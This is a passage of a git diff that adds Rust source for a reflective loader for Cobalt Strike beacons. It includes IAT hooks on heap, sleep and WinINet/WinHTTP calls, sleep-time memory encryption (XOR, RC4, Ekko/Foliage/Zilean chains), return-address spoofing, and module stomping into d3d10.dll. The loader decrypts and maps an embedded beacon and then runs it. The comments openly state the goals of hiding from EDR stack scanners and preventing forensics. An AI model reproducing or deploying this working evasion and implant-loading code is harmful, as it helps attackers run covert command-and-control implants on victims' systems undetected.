NTSTATUS { + let api = &mut *(*(StubAddr() as PSTUB)).api; + api.advapi.SystemFunction032(data, key) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn NtGetContextThread_Hook( + thread_handle: HANDLE, + thread_context: PCONTEXT, +) -> NTSTATUS { + let api = &mut *(*(StubAddr() as PSTUB)).api; + api.ntdll.NtGetContextThread(thread_handle, thread_context) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn NtSetContextThread_Hook( + thread_handle: HANDLE, + thread_context: PCONTEXT, +) -> NTSTATUS { + let api = &mut *(*(StubAddr() as PSTUB)).api; + api.ntdll.NtSetContextThread(thread_handle, thread_context) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn NtContinue_Hook( + context_record: PCONTEXT, + test_alert: BOOLEAN, +) -> NTSTATUS { + let api = &mut *(*(StubAddr() as PSTUB)).api; + api.ntdll.NtContinue(context_record, test_alert) +} + +// ============================================================================= +// Sleep hook - copies Api to stack (heap gets encrypted during sleep) +// ============================================================================= + +#[link_section = ".text$D"] +pub unsafe extern "C" fn Sleep_Hook(dw_milliseconds: DWORD) { + let stub_ptr = StubAddr() as PSTUB; + + // Copy Api to stack - the beacon heap (where Api lives) gets encrypted + // during sleep obfuscation, so we need a local copy that survives. + let mut api: Api = core::ptr::read((*stub_ptr).api); + + dbg_print!(api, b"[HOOK:Sleep] ms: %d\n\0", dw_milliseconds); + + // Set up sleep context from STUB fields + api.sleep.cfg = 0; + api.sleep.dw_milliseconds = dw_milliseconds; + api.sleep.buffer = (*stub_ptr).stub_beacon_address as _; + api.sleep.length = (*stub_ptr).stub_beacon_size as _; + api.sleep.stub_size = (*stub_ptr).stub_size as _; + api.sleep.heap = (*stub_ptr).beacon_heap_handle; + api.sleep.num_sections = + core::ptr::read_unaligned(core::ptr::addr_of!((*stub_ptr).num_sections)) as usize; + + for i in 0..api.sleep.num_sections.min(20) { + api.sleep.sections[i] = + core::ptr::read_unaligned(core::ptr::addr_of!((*stub_ptr).sections[i])); + } + + #[cfg(feature = "sleep-xor")] + { + if dw_milliseconds >= 1000 { + dbg_print!(api, b"[HOOK:Sleep] XOR heap + sections\n\0"); + xor_heap(&mut api); + xor::mask_memory_from_context(&mut api, true); + } + + // Resolve real Sleep from kernel32 (can't use api.kernel32.Sleep + // because the wrapper spoofs, and we want the raw call here) + let kernel32_base = get_loaded_module_by_hash(hash_str!("kernel32.dll")); + let sleep_fn: FnSleep = transmute(api::util::api::<()>( + kernel32_base, + hash_str!("Sleep") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + crate::spoof_uwd!( + &mut api.kernel32.spoof_config, + sleep_fn as *const c_void, + dw_milliseconds as usize + ); + } + #[cfg(not(feature = "spoof-uwd"))] + sleep_fn(dw_milliseconds); + + if dw_milliseconds >= 1000 { + dbg_print!(api, b"[HOOK:Sleep] Restore sections + heap\n\0"); + xor::mask_memory_from_context(&mut api, false); + xor_heap(&mut api); + } + } + + #[cfg(feature = "sleep-ekko")] + { + if dw_milliseconds < 1000 { + api.kernel32.WaitForSingleObjectEx( + -1isize as _, + dw_milliseconds, + crate::windows::FALSE, + ); + api.zero(); + return; + } + + generate_encryption_key(&mut api); + encrypt_heap_rc4(&mut api); + ekko::ekko_with_fiber(&mut api); + // The chain flips the entire buffer to RX - update tracking to match + // reality, then restore per-section permissions so .data/.rdata get + // their original protections back before any writes. + api::util::mark_sections_protect(&mut api, PAGE_EXECUTE_READ); + api::util::restore_section_protections(&mut api); + encrypt_heap_rc4(&mut api); + } + #[cfg(feature = "sleep-foliage")] + { + if dw_milliseconds < 1000 { + api.kernel32.WaitForSingleObjectEx( + -1isize as _, + dw_milliseconds, + crate::windows::FALSE, + ); + api.zero(); + return; + } + + generate_encryption_key(&mut api); + encrypt_heap_rc4(&mut api); + foliage::foliage_with_fiber(&mut api); + // The chain flips the entire buffer to RX - update tracking to match + // reality, then restore per-section permissions so .data/.rdata get + // their original protections back before any writes. + api::util::mark_sections_protect(&mut api, PAGE_EXECUTE_READ); + api::util::restore_section_protections(&mut api); + encrypt_heap_rc4(&mut api); + } + #[cfg(feature = "sleep-zilean")] + { + generate_encryption_key(&mut api); + encrypt_heap_rc4(&mut api); + zilean::zilean_with_fiber(&mut api); + // The chain flips the entire buffer to RX - update tracking to match + // reality, then restore per-section permissions so .data/.rdata get + // their original protections back before any writes. + api::util::mark_sections_protect(&mut api, PAGE_EXECUTE_READ); + api::util::restore_section_protections(&mut api); + encrypt_heap_rc4(&mut api); + } + + // Zero the stack copy of Api (sensitive data) + api.zero(); +} + +// ============================================================================= +// Thread exit hook (not yet enabled - needs cleanup logic) +// ============================================================================= + +#[link_section = ".text$D"] +#[allow(dead_code)] +pub unsafe extern "C" fn ExitThread_Hook(dw_exit_code: DWORD) { + let api = &mut *(*(StubAddr() as PSTUB)).api; + api.ntdll.RtlExitUserThread(dw_exit_code as NTSTATUS); +} diff --git a/udrl/src/lib.rs b/udrl/src/lib.rs new file mode 100644 index 0000000..6c5a177 --- /dev/null +++ b/udrl/src/lib.rs @@ -0,0 +1,323 @@ +//! UDRL (User-Defined Reflective Loader) for Cobalt Strike. +//! +//! # Overview +//! +//! This crate implements a position-independent reflective loader for Cobalt Strike +//! beacons, written entirely in Rust with inline assembly. It provides: +//! +//! - **Reflective PE loading** - Maps beacon PE into memory and resolves imports/relocations +//! - **IAT hooking** - Intercepts beacon API calls for custom behavior +//! - **Sleep obfuscation** - FOLIAGE-style memory encryption during sleep +//! - **Return address spoofing** - Hides call origins from EDR stack scanners +//! - **Isolated heap** - Custom heap for beacon allocations +//! +//! # Architecture +//! +//! ```text +//! ┌─────────────────────────────────────────────────────────────┐ +//! │ Entry/Start (assembly) │ +//! │ ↓ │ +//! │ ace() → Creates thread, hijacks RIP to loader() │ +//! │ ↓ │ +//! │ loader() → Maps beacon, installs hooks, executes DllMain │ +//! │ ↓ │ +//! │ Beacon runs with hooked APIs (heap, sleep, network) │ +//! └─────────────────────────────────────────────────────────────┘ +//! ``` +//! +//! # Memory Layout +//! +//! ```text +//! [STUB metadata][Loader code][Hook code][Beacon PE sections] +//! ^-- STUB ^-- .text$B ^-- .text$D ^-- mapped image +//! ``` +//! +//! # Key Modules +//! +//! - `ace` - Thread creation and RIP hijacking +//! - `loader` - PE mapping, IAT patching, relocation processing +//! - `crypto` - Runtime beacon decryption (RC4) +//! - `hooks` - IAT hook implementations (GetProcessHeap, Sleep, etc.) +//! - `sleep` - FOLIAGE sleep obfuscation with APC chains +//! - `spoof` - Return address spoofing using ROP gadgets +//! - `api` - Windows API resolution and storage +//! - `util` - PE parsing, memory operations, hash functions +//! - `windows` - Windows type definitions and constants +//! - `log` - Debug logging (feature-gated) +//! +//! # Build Requirements +//! +//! - `#![no_std]` - No standard library (position-independent) +//! - `#![no_main]` - Custom entry points (assembly-defined) +//! - Assembly files (start.asm, misc.asm) linked via `asm` library +//! +//! # AceLdr Compatibility +//! +//! This loader mirrors the behavior and structure of AceLdr (C implementation) +//! to ensure compatibility with Cobalt Strike beacon expectations. + +#![no_std] +#![no_main] +#![allow(non_snake_case)] +#![allow(unused_variables, unused_imports)] +#![feature(lang_items)] +#![allow(internal_features)] +#![allow(integer_to_ptr_transmutes)] +#![feature(stmt_expr_attributes)] + +// Import modules +mod ace; +mod crypto; +mod hooks; +mod loader; +// mod log; // Disabled: using dbg_print! macro instead (see util.rs) + +// Re-export key components +use core::{ffi::c_void, panic::PanicInfo}; +pub use {api::windows::*, loader::*}; +pub mod windows { + pub use api::windows::*; +} +#[cfg(feature = "spoof-uwd")] +pub use uwd::spoof_uwd; + +/// External assembly functions and symbols from start.asm and misc.asm. +/// +/// # Assembly Integration +/// +/// These functions are implemented in x64/x86 assembly and linked via the `asm` library. +/// They provide position-independent primitives that Rust cannot safely implement: +/// +/// - **Start** - Assembly entry point, initializes execution +/// - **GetIp** - Returns current instruction pointer (RIP-relative addressing) +/// - **StubAddr** - Returns base address of STUB structure +/// - **Stub** - STUB metadata symbol marker +/// - **Spoof** - Return address spoofing trampoline using ROP gadgets +/// +/// # Platform Support +/// +/// Functions are architecture-specific with different implementations for: +/// - x64 (x64/start.asm, x64/misc.asm) +/// - x86 (x86/start.asm, x86/misc.asm) - Uses `link_name` attribute for mangling +#[allow(unused_doc_comments)] +#[link(name = "asm")] +extern "C" { + /// Assembly entry point that sets up execution and calls Rust Entry(). + #[cfg_attr(target_arch = "x86", link_name = "Start")] + pub fn Start() -> ULONG_PTR; + + /// Returns the current instruction pointer (RIP/EIP) for position-independent calculations. + #[cfg_attr(target_arch = "x86", link_name = "GetIp")] + pub fn GetIp() -> ULONG_PTR; + + /// Returns the base address of the STUB metadata structure. + #[cfg_attr(target_arch = "x86", link_name = "StubAddr")] + pub fn StubAddr() -> ULONG_PTR; + + /// STUB metadata structure symbol (used as marker for address calculations). + #[cfg_attr(target_arch = "x86", link_name = "Stub")] + pub static mut Stub: u8; + +} + +/// Converts a pointer to ULONG_PTR (unsigned pointer-sized integer). +/// +/// # Purpose +/// +/// Type-safe conversion from any pointer type to ULONG_PTR for address arithmetic +/// and storage. Always inlined for zero-cost abstraction. +/// +/// # Arguments +/// +/// * `value` - Pointer of any type to convert +/// +/// # Returns +/// +/// ULONG_PTR representation of the pointer address +#[inline(always)] +pub fn U_PTR(value: *const T) -> ULONG_PTR { + value as ULONG_PTR +} + +/// Converts ULONG_PTR to a typed pointer. +/// +/// # Purpose +/// +/// Type-safe conversion from ULONG_PTR back to a typed pointer for dereferencing. +/// Always inlined for zero-cost abstraction. +/// +/// # Arguments +/// +/// * `value` - ULONG_PTR value representing an address +/// +/// # Returns +/// +/// Mutable pointer of specified type +#[inline(always)] +pub fn C_PTR(value: ULONG_PTR) -> *mut T { + value as *mut T +} + +/// Calculates position-independent offset for a symbol address. +/// +/// # Purpose +/// +/// Converts a compile-time symbol address to a runtime offset using RIP-relative +/// addressing. This enables position-independent code without relocations. +/// +/// # How It Works +/// +/// ```text +/// Runtime IP: GetIp() returns current RIP +/// Compile-time IP: GetIp as function pointer +/// Symbol offset: GetIp - symbol (compile-time distance) +/// Runtime symbol: GetIp() - (GetIp - symbol) +/// ``` +/// +/// # Arguments +/// +/// * `symbol` - Compile-time address of the symbol to calculate offset for +/// +/// # Returns +/// +/// Runtime address of the symbol (position-independent) +/// +/// # Safety +/// +/// Assumes GetIp() returns valid instruction pointer and symbol is in same module +#[inline(always)] +pub unsafe fn OFFSET(symbol: ULONG_PTR) -> ULONG_PTR { + GetIp().wrapping_sub((GetIp as *const () as ULONG_PTR).wrapping_sub(symbol)) +} + +/// Returns the address where the loader code ends (G_END). +/// +/// # Purpose +/// +/// Calculates the position where the loader code ends and the CONFIG struct begins. +/// The CONFIG struct is appended by the CNA script and contains the encrypted beacon. +/// The +11 offset accounts for the call instruction size and alignment. +/// +/// # How It Works +/// +/// ```text +/// GetIp() + 11 bytes = End of loader code +/// [CONFIG struct][Encrypted beacon] +/// ``` +/// +/// # Returns +/// +/// Runtime address where loader code ends (CONFIG struct starts here) +/// +/// # Safety +/// +/// Assumes GetIp() is called from within the loader and +11 offset is correct +#[inline(always)] +pub unsafe fn G_END() -> ULONG_PTR { + GetIp().wrapping_add(11) +} + +/// Primary Rust entry point called from assembly Start() function. +/// +/// # Purpose +/// +/// This is the main entry point for the reflective loader after assembly initialization. +/// It immediately delegates to ace::ace() which handles thread creation and loader execution. +/// +/// # Execution Flow +/// +/// ```text +/// Start (assembly) → Entry (Rust) → ace() → loader() → beacon +/// ``` +/// +/// # Section Placement +/// +/// Placed in `.text$B` so assembly code in `.text$A` comes first, ensuring the +/// assembly entry point (Start) is at the beginning of the .text section. +/// +/// # Arguments +/// +/// * `args` - Argument pointer passed from assembly (may be NULL) +/// +/// # AceLdr Compatibility +/// +/// Exported with `Entry` symbol for compatibility with AceLdr conventions. +#[no_mangle] +#[link_section = ".text$B"] +pub unsafe extern "C" fn Entry(args: *mut c_void) { + // Call ACE loader + ace::ace(args); +} + +/// Alternate Rust entry point (underscore prefix variant). +/// +/// # Purpose +/// +/// Some loaders/injection methods expect an `_Entry` symbol instead of `Entry`. +/// This provides compatibility with both naming conventions. +/// +/// # Arguments +/// +/// * `args` - Argument pointer passed from caller (may be NULL) +/// +/// # Implementation +/// +/// Identical to Entry(), simply delegates to ace::ace() +#[no_mangle] +#[link_section = ".text$B"] +pub unsafe extern "C" fn _Entry(args: *mut c_void) { + // Call ACE loader + ace::ace(args); +} + +/// Panic handler for #![no_std] environment. +/// +/// # Purpose +/// +/// Required by Rust for #![no_std] crates. In shellcode, panics are fatal and +/// unrecoverable, so we simply enter an infinite loop instead of unwinding. +/// +/// # Behavior +/// +/// Enters infinite loop on panic (no stack unwinding, no error reporting). +/// This prevents the loader from crashing the host process unpredictably. +/// +/// # Why Infinite Loop? +/// +/// - No stack unwinding (would break position-independent code) +/// - No error output (stealth requirement) +/// - Keeps thread alive (prevents crash) +#[cfg(not(test))] +#[panic_handler] +fn panic(_info: &PanicInfo) -> ! { + loop {} +} + +/// Exception handling personality function (no-op). +/// +/// # Purpose +/// +/// Required by Rust for exception handling setup. In #![no_std] with no unwinding, +/// this is never called but must exist to satisfy the compiler. +/// +/// # Note +/// +/// This function should never be invoked in normal execution. +#[cfg(not(test))] +#[lang = "eh_personality"] +extern "C" fn rust_eh_personality() {} + +/// ARM EABI unwind function (no-op). +/// +/// # Purpose +/// +/// Required for ARM targets to satisfy the EABI (Embedded Application Binary Interface) +/// unwinding requirements. Enters infinite loop if called. +/// +/// # Note +/// +/// This function should never be invoked on x64/x86 targets. +#[no_mangle] +pub unsafe extern "C" fn __aeabi_unwind_cpp_pr0() { + loop {} +} diff --git a/udrl/src/loader.rs b/udrl/src/loader.rs new file mode 100644 index 0000000..bccb57f --- /dev/null +++ b/udrl/src/loader.rs @@ -0,0 +1,817 @@ +//! Beacon loader: decrypts, maps, and executes an embedded PE payload. +//! +//! This module implements the core loading logic for reflective DLL injection: +//! +//! 1. **Decrypt** - RC4 decrypt the embedded beacon from the CONFIG struct +//! 2. **Module Stomp** - Load a sacrificial DLL and overwrite its .text section +//! 3. **Map Sections** - Copy beacon PE sections to their virtual addresses +//! 4. **Resolve Imports** - Fill IAT with real function addresses from DLLs +//! 5. **Install Hooks** - Patch specific IAT entries to redirect through our hooks +//! 6. **Rebase Image** - Apply base relocations to fix absolute addresses +//! 7. **Fix Permissions** - Set correct memory protections (RX, RW, RO) per section +//! 8. **Execute** - Call beacon's DllMain entry point +//! +//! # Memory Layout +//! +//! The loader creates a contiguous memory region inside a stomped module: +//! +//! ```text +//! Initial state (set RX by injector before executing Start): +//! [STUB metadata][Loader code (.text$B)][Spoof code (.text$E)][Hook code (.text$D)] +//! |<----------------------- exec region (RX) ---------------------------------------->| +//! +//! After loader runs (stomped module): +//! [STUB metadata][Loader + Hook + Spoof code][Beacon PE sections...] +//! |<---- exec region (RX) ------------------>|<-- per-section protections -->| +//! ``` + +use { + crate::{ + hooks::{ + DnsExtractRecordsFromMessage_UTF8_Hook, DnsWriteQuestionToBuffer_UTF8_Hook, + GetProcessHeap_Hook, HeapAlloc_Hook, HttpOpenRequestA_Hook, HttpQueryInfoA_Hook, + HttpSendRequestA_Hook, InternetCloseHandle_Hook, InternetConnectA_Hook, + InternetOpenA_Hook, InternetQueryDataAvailable_Hook, InternetReadFile_Hook, + NtContinue_Hook, NtGetContextThread_Hook, NtProtectVirtualMemory_Hook, + NtSetContextThread_Hook, NtWaitForSingleObject_Hook, RtlAllocateHeap_Hook, Sleep_Hook, + SystemFunction032_Hook, WSASocketA_Hook, WaitForSingleObjectEx_Hook, + WaitForSingleObject_Hook, WinHttpCloseHandle_Hook, WinHttpConnect_Hook, + WinHttpOpenRequest_Hook, WinHttpOpen_Hook, WinHttpQueryDataAvailable_Hook, + WinHttpQueryHeaders_Hook, WinHttpReadData_Hook, WinHttpReceiveResponse_Hook, + WinHttpSendRequest_Hook, + }, + Start, StubAddr, C_PTR, G_END, OFFSET, + }, + api::{ + api::{Api, MemorySection}, + dbg_print, hash_str, + util::{ + hook_iat, memcopy, memzero, rebase_image, resolve_imports, + section_characteristics_to_protect, + }, + windows::*, + NT_SUCCESS, + }, + core::{ffi::c_void, ptr::null_mut}, +}; + +/// Titan CONFIG structure (matches Titan.cna output) +/// +/// This struct is appended directly after the loader code by the CNA script: +/// [Loader code (ends at G_END())][CONFIG struct][Encrypted beacon] +/// +/// NOTE: Titan's Config.h uses big-endian byte order for rc4_len! +#[repr(C, packed)] +struct Config { + /// Size of encrypted beacon (4 bytes, BIG-ENDIAN!) + rc4_len: [u8; 4], + /// 16-byte RC4 key (random ASCII string generated by CNA) + key_buf: [u8; 16], + // rc4_buf (encrypted beacon) follows immediately after (flexible array) +} + +/// Main loader entry point: decrypts, maps, and executes the embedded beacon. +/// +/// This function performs the complete loading sequence for reflective injection. +/// It is called from the ACE thread trampoline after RIP redirection. +/// +/// # Memory Layout Transformation +/// +/// Linker merges all into one `.text` section (see scripts/linker.ld): +/// `.text$A` → `.text$B` → `.text$D` → `.text$E` → `.rdata` → `.data` → `.text$ZZ` +/// +/// ```text +/// BEFORE (AceLdr + beacon stomped into first module by shellcode loader): +/// +/// First stomped module .text: +/// StubAddr() G_END() +/// | | +/// v v +/// ┌────────┬────────┬─────────┬───────┬───────┬─────────┬────────┬─────────────────┐ +/// │ Start │ Loader │ Hooks │ Utils │ .data │.text$ZZ │ CONFIG │Encrypted Beacon │ +/// │.text$A │.text$B │ .text$D │.text$E│.rdata │ (G_END) │ (20 B) │ (RC4 encrypted) │ +/// └────────┴────────┴─────────┴───────┴───────┴─────────┴────────┴─────────────────┘ +/// |<--------------- copy_stub() copies ---------------->| +/// | | +/// Temp buffer (NtAllocateVirtualMemory RW): | +/// ┌─────────────────────────────┐ | | +/// │ Decrypted Beacon PE │<-----+ RC4 decrypt | +/// │ (DOS/NT hdrs + sections) │ (from CONFIG key) +/// └─────────────────────────────┘ +/// | +/// | copy_beacon_sections() +/// v +/// AFTER (AceLdr stomps into second module, beacon decrypted and mapped): +/// +/// Second stomped module .text: +/// buffer buffer + reg.exec +/// | | +/// v v +/// ┌────────┬────────┬─────────┬───────┬───────┬─────────┬───────────────────────┐ +/// │ Start │ Loader │ Hooks │ Utils │ .data │.text$ZZ │ Beacon PE Sections │ +/// │.text$A │.text$B │ .text$D │.text$E│.rdata │ (G_END) │(.text, .rdata, .data) │ +/// └────────┴────────┴─────────┴───────┴───────┴─────────┴───────────────────────┘ +/// |<----------------- RX (stub) ------------------>| |<-- per-section perms ->| +/// |<----------------- stub_size ------------------>| | +/// |<------------------------------ reg.full ---------------------------------->| +/// +/// Temp buffer: zeroed (memzero) and freed (NtFreeVirtualMemory) after mapping +/// ``` +/// +/// # Execution Steps +/// +/// 1. Resolve loader APIs (memory allocation, protection) +/// 2. Parse CONFIG struct at G_END() to get beacon size and RC4 key +/// 3. Allocate temporary RW buffer for decryption +/// 4. Decrypt beacon from CONFIG into temp buffer +/// 5. Calculate memory layout regions (stub + beacon sizes) +/// 6. Module stomp: load sacrificial DLL +/// 7. Change stomped region permissions to RW +/// 8. Copy STUB metadata and loader code to stomped region +/// 9. Copy beacon sections to virtual addresses +/// 10. Create isolated heap for beacon allocations +/// 11. Fill STUB with runtime metadata (heap handle, section info) +/// 12. Resolve imports (fill IAT with real function addresses) +/// 13. Install IAT hooks (patch specific entries: Sleep, GetProcessHeap) +/// 14. Apply base relocations (fix absolute addresses) +/// 15. Set stub region to RX +/// 16. Set final section permissions per section +/// 17. Zero and free temporary decrypt buffer +/// 18. Execute beacon DllMain +/// +/// # Safety +/// +/// Performs raw memory operations and calls into untrusted beacon code. +#[link_section = ".text$B"] +#[rustfmt::skip] +pub unsafe extern "C" fn loader(_arg: *mut c_void) +{ + let mut api = Api::new(); + #[cfg(feature = "spoof-uwd")] + api.build_spoof_configs(); + let mut old_protection: u32 = 0; + let mut reg: Reg = core::mem::zeroed(); + + dbg_print!(api, b"[LDR] Started\n\0"); + + // Step 1: Parse Titan CONFIG struct (directly at G_END()) + let cfg = G_END() as *const Config; + let beacon_size = u32::from_be_bytes((*cfg).rc4_len) as SIZE_T; + let key_ptr = (*cfg).key_buf.as_ptr(); + let encrypted_beacon = (cfg as usize + core::mem::size_of::()) as *const u8; + + // Step 3: Allocate temporary RW buffer for decryption (Titan calls this "Enc") + let mut dec_buffer: PVOID = null_mut(); + let mut alloc_size = beacon_size; + + if !NT_SUCCESS!(api.ntdll.NtAllocateVirtualMemory(-1isize as HANDLE, &mut dec_buffer, 0, &mut alloc_size, MEM_COMMIT, PAGE_READWRITE)) { + dbg_print!(api, b"[LDR] FAIL: NtAllocateVirtualMemory\n\0"); + return; + } + dbg_print!(api, b"[LDR] Allocated RW buffer: %p\n\0", dec_buffer); + + // Step 4: Decrypt beacon from CONFIG into temp buffer + crate::crypto::decrypt_beacon(key_ptr, encrypted_beacon, dec_buffer as *mut u8, beacon_size); + dbg_print!(api, b"[LDR] Beacon decrypted\n\0"); + + // Parse decrypted beacon PE headers from temp buffer + reg.dos = dec_buffer as *mut IMAGE_DOS_HEADER; + reg.nt = (dec_buffer as usize + (*reg.dos).e_lfanew as usize) as *mut IMAGE_NT_HEADERS; + dbg_print!(api, b"[LDR] DOS header: %p\n\0", reg.dos); + + // Step 5: Calculate memory layout regions (stub + beacon sizes) + calculate_regions(&mut reg); + dbg_print!(api, b"[LDR] reg.full: %p, reg.exec: %p\n\0", reg.full, reg.exec); + + // Step 6: Module stomp - load sacrificial DLL + let module_base = api.kernel32.LoadLibraryExA(b"d3d10.dll\0".as_ptr() as LPCSTR, null_mut(), DONT_RESOLVE_DLL_REFERENCES); + + if module_base.is_null() { + dbg_print!(api, b"[LDR] FAIL: LoadLibraryExA\n\0"); + return; + } + + let dos_header = module_base as *const IMAGE_DOS_HEADER; + let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS; + let first_section = IMAGE_FIRST_SECTION(nt_headers); + let text_rva = (*first_section).VirtualAddress as usize; + let text_size = (*first_section).Misc.virtual_size as usize; + let mut memory_buffer = (module_base as usize + text_rva) as *mut c_void; + + if reg.full > text_size { + dbg_print!(api, b"[LDR] FAIL: payload too large for .text\n\0"); + return; + } + dbg_print!(api, b"[LDR] Stomp target: %p\n\0", memory_buffer); + + // Step 7: Change stomped region permissions to RW + if !NT_SUCCESS!(api.ntdll.NtProtectVirtualMemory(-1isize as HANDLE, &mut memory_buffer, &mut reg.full, PAGE_READWRITE, &mut old_protection)) { + dbg_print!(api, b"[LDR] FAIL: NtProtectVirtualMemory RW\n\0"); + return; + } + dbg_print!(api, b"[LDR] Changed to RW\n\0"); + + // Step 8: Copy STUB metadata and loader code to stomped region + copy_stub(memory_buffer as _); + dbg_print!(api, b"[LDR] Stub copied\n\0"); + + // Step 9: Copy beacon sections to virtual addresses + let map = copy_beacon_sections(memory_buffer, ®); + dbg_print!(api, b"[LDR] Beacon sections copied: %p\n\0", map); + + // Step 10: Create isolated heap for beacon allocations + let beacon_heap = api.ntdll.RtlCreateHeap(HEAP_GROWABLE, null_mut(), 0, 0, null_mut(), null_mut()); + dbg_print!(api, b"[LDR] Heap created: %p\n\0", beacon_heap); + + // Step 11: Fill STUB with runtime metadata + copy Api into STUB + fill_stub(memory_buffer, beacon_heap, &mut reg, &api); + dbg_print!(api, b"[LDR] Stub filled (Api embedded in STUB)\n\0"); + + // From here, use the STUB-embedded Api (persists after loader returns) + let api = &mut *(*(memory_buffer as PSTUB)).api; + + // Step 12: Resolve imports (fills IAT with real function addresses) + let import_dir = &(*reg.nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + if import_dir.VirtualAddress != 0 { + let import_dir_addr = (map as usize + import_dir.VirtualAddress as usize) as *mut u8; + let _ = resolve_imports(api, map as _, import_dir_addr); + dbg_print!(&*api, b"[LDR] Imports resolved\n\0"); + } + + // Step 13: Install IAT hooks (patches specific entries to redirect to our hooks) + install_hooks(map, memory_buffer, reg.nt); + dbg_print!(&*api, b"[LDR] Hooks installed\n\0"); + + // Step 14: Apply base relocations (fixes absolute addresses) + let reloc_dir = &(*reg.nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + if reloc_dir.VirtualAddress != 0 { + let reloc_dir_addr = (map as usize + reloc_dir.VirtualAddress as usize) as *mut u8; + let image_base = (*reg.nt).OptionalHeader.ImageBase as *mut u8; + let _ = rebase_image(map as _, reloc_dir_addr, image_base); + dbg_print!(&*api, b"[LDR] Relocations applied\n\0"); + } + + // Step 15: Set stub region to RX (code can execute, no writes needed) + let mut stub_base = memory_buffer; + let mut stub_size = reg.exec; + let mut stub_old_prot: ULONG = 0; + + if !NT_SUCCESS!(api.ntdll.NtProtectVirtualMemory(-1isize as HANDLE, &mut stub_base, &mut stub_size, PAGE_EXECUTE_READ, &mut stub_old_prot)) { + dbg_print!(&*api, b"[LDR] FAIL: NtProtectVirtualMemory RX\n\0"); + return; + } + dbg_print!(&*api, b"[LDR] Stub set to RX\n\0"); + + // Step 16: Set final section protections (RX for .text, RO for .rdata, etc.) + fix_section_permissions(api, memory_buffer, ®); + dbg_print!(&*api, b"[LDR] Section permissions set\n\0"); + + // Save entry point before freeing buffer + let entry_rva = (*reg.nt).OptionalHeader.AddressOfEntryPoint as usize; + dbg_print!(&*api, b"[LDR] Entry RVA: %p\n\0", entry_rva); + + // Step 17: Zero and free temporary decrypt buffer (OPSEC: prevent forensics) + memzero(dec_buffer as *mut u8, beacon_size as u32); + let mut free_size: SIZE_T = 0; + let _ = api.ntdll.NtFreeVirtualMemory(-1isize as HANDLE, &mut dec_buffer, &mut free_size, MEM_RELEASE); + dbg_print!(&*api, b"[LDR] Temp buffer freed\n\0"); + + dbg_print!(&*api, b"[LDR] Executing DllMain\n\0"); + + // Step 18: Execute beacon DllMain + execute_beacon(C_PTR((map as usize).wrapping_add(entry_rva))); +} + +/// Sets memory protection for each beacon section based on PE characteristics. +/// +/// Must be called after `copy_beacon_sections` and before `fill_stub`. +/// This ensures STUB stores correct protection values for sleep mask to use. +/// +/// # Arguments +/// * `api` - Resolved API structure with NtProtectVirtualMemory +/// * `buffer` - Base address where beacon is mapped (stomp target) +/// * `reg` - Region info containing NT headers and section offsets +#[link_section = ".text$B"] +pub unsafe fn fix_section_permissions(api: &mut Api, buffer: PVOID, reg: &Reg) { + let nt = reg.nt; + let num_sections = (*nt).FileHeader.NumberOfSections as usize; + let first_section = IMAGE_FIRST_SECTION(nt); + + dbg_print!( + api, + b"[LDR:FIX_PERM] buffer: %p, exec: %p, sections: %d\n\0", + buffer, + reg.exec, + num_sections + ); + + for i in 0..num_sections { + let section = first_section.add(i); + let mut section_base = + (buffer as usize + reg.exec + (*section).VirtualAddress as usize) as PVOID; + let mut section_size = (*section).Misc.virtual_size as SIZE_T; + let new_protect = section_characteristics_to_protect((*section).Characteristics); + let mut old_protect: ULONG = 0; + + let _status = api.ntdll.NtProtectVirtualMemory( + -1isize as HANDLE, + &mut section_base as *mut PVOID, + &mut section_size as *mut SIZE_T, + new_protect, + &mut old_protect as *mut ULONG, + ); + + dbg_print!( + api, + b"[LDR:FIX_PERM] [%d] base: %p, prot: %x -> %x\n\0", + i, + section_base, + old_protect, + new_protect + ); + } +} + +/// Patches specific IAT entries to redirect beacon API calls through our hooks. +/// +/// This function only installs hooks - import resolution and relocation are handled +/// separately in the loader function. +/// +/// # Arguments +/// +/// * `map` - Base address of the mapped beacon image +/// * `buffer` - Base address of the stomped region (for calculating hook addresses) +/// * `nt` - Pointer to beacon's NT headers +#[link_section = ".text$B"] +pub unsafe fn install_hooks(map: PVOID, buffer: PVOID, nt: *mut IMAGE_NT_HEADERS) { + let import_dir = &(*nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + + if import_dir.VirtualAddress != 0 { + let import_dir_addr = (map as usize + import_dir.VirtualAddress as usize) as *mut u8; + let stub_base = StubAddr(); + + // Calculate hook address in copied stub region + let hook_addr = |hook_fn: *const ()| -> *mut u8 { + let hook_offset = (hook_fn as usize).wrapping_sub(stub_base); + (buffer as usize + hook_offset) as *mut u8 + }; + + // Heap hooks - redirect allocations to isolated heap + hook_iat( + map as _, + import_dir_addr, + hash_str!("GetProcessHeap"), + hook_addr(GetProcessHeap_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("RtlAllocateHeap"), + hook_addr(RtlAllocateHeap_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("HeapAlloc"), + hook_addr(HeapAlloc_Hook as *const ()), + ); + + // Sleep hooks - enable sleep obfuscation + hook_iat( + map as _, + import_dir_addr, + hash_str!("Sleep"), + hook_addr(Sleep_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("NtWaitForSingleObject"), + hook_addr(NtWaitForSingleObject_Hook as *const ()), + ); + + // WinINet hooks + hook_iat( + map as _, + import_dir_addr, + hash_str!("InternetConnectA"), + hook_addr(InternetConnectA_Hook as *const ()), + ); + + // WinINet hooks + hook_iat( + map as _, + import_dir_addr, + hash_str!("InternetOpenA"), + hook_addr(InternetOpenA_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("HttpOpenRequestA"), + hook_addr(HttpOpenRequestA_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("HttpSendRequestA"), + hook_addr(HttpSendRequestA_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + hash_str!("HttpQueryInfoA"), + hook_addr(HttpQueryInfoA_Hook as *const ()), + ); + hook_iat( + map as _, + import_dir_addr, + 